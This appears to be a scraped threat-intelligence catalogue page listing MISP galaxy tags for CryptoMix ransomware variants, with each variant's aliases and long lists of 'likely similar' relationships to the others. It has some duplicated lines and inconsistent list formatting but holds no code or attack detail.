- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"
CryptoMix-Noob

Ransomware

The tag is: *misp-galaxy:ransomware=*"CryptoMix-Noob"

View relationships graph

CryptoMix-Noob has relationships with:

- similar: *misp-galaxy:ransomware=*"CryptoMix" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-0000" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-Arena" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-Azer" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-Backup" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-CK" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-Coban" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-DLL" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-Empty" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-Error" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-Exte" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"Cryptomix-FILE" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-MOLE66" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-Ogonia" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-Pirate" with *estimative-language:likelihood-probability=*"likely"
- similar: *misp-galaxy:ransomware=*"CryptoMix-Revenge" with *estimative-language:likelihood-probability=*"likely"
similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"

similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"

similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"

similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"

similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"

similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"

similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"

similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"

similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

**CryptoMix-Ogonia**

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Ogonia"*

View relationships graph

CryptoMix-Ogonia has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware=" Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"
CryptoMix-Pirate

Ransomware

The tag is: misp-galaxy:ransomware="CryptoMix-Pirate"

View relationships graph

CryptoMix-Pirate has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-WORK" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

**CryptoMix-Revenge**

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Revenge"*

View relationships graph

CryptoMix-Revenge has relationships with:

• similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"
Cryptomix-SERVER

Ransomware

The tag is: misp-galaxy:ransomware="Cryptomix-SERVER"

Cryptomix-SERVER is also known as:

• SERVER Cryptomix

View relationships graph

Cryptomix-SERVER has relationships with:

• similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

**CryptoMix-Shark**

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Shark"*

CryptoMix-Shark is also known as:

- Shark CryptoMix

View relationships graph

CryptoMix-Shark has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

**CryptoMix-System**

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-System"*

CryptoMix-System is also known as:

• System CryptoMix

View relationships graph

CryptoMix-System has relationships with:

• similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

**CryptoMix-Tastylock**

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Tastylock"*

CryptoMix-Tastylock is also known as:

• Tastylock CryptoMix

[View relationships graph]

CryptoMix-Tastylock has relationships with:
• similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
CryptoMix-Test

Ransomware

The tag is: misp-galaxy:ransomware="CryptoMix-Test"

CryptoMix-Test is also known as:

• Test CryptoMix

View relationships graph

CryptoMix-Test has relationships with:

• similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: `misp-galaxy:ransomware="CryptoMix-Error"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-Exte"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="Cryptomix-FILE"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-MOLE66"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-Noob"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-Ogonia"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-Pirate"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-Revenge"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="Cryptomix-SERVER"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-Shark"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-System"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-Tastylock"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-Wallet"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="Cryptomix-WORK"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-x1881"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-XZZX"` with `estimative-language:likelihood-probability="likely"`

• similar: `misp-galaxy:ransomware="CryptoMix-Zayka"` with `estimative-language:likelihood-probability="likely"`

**CryptoMix-Wallet**

Ransomware

The tag is: `misp-galaxy:ransomware="CryptoMix-Wallet"`
View relationships graph

CryptoMix-Wallet has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
Cryptomix-WORK

Ransomware

The tag is: misp-galaxy:ransomware="Cryptomix-WORK"

Cryptomix-WORK is also known as:

• WORK CryptoMix

View relationships graph

Cryptomix-WORK has relationships with:

• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
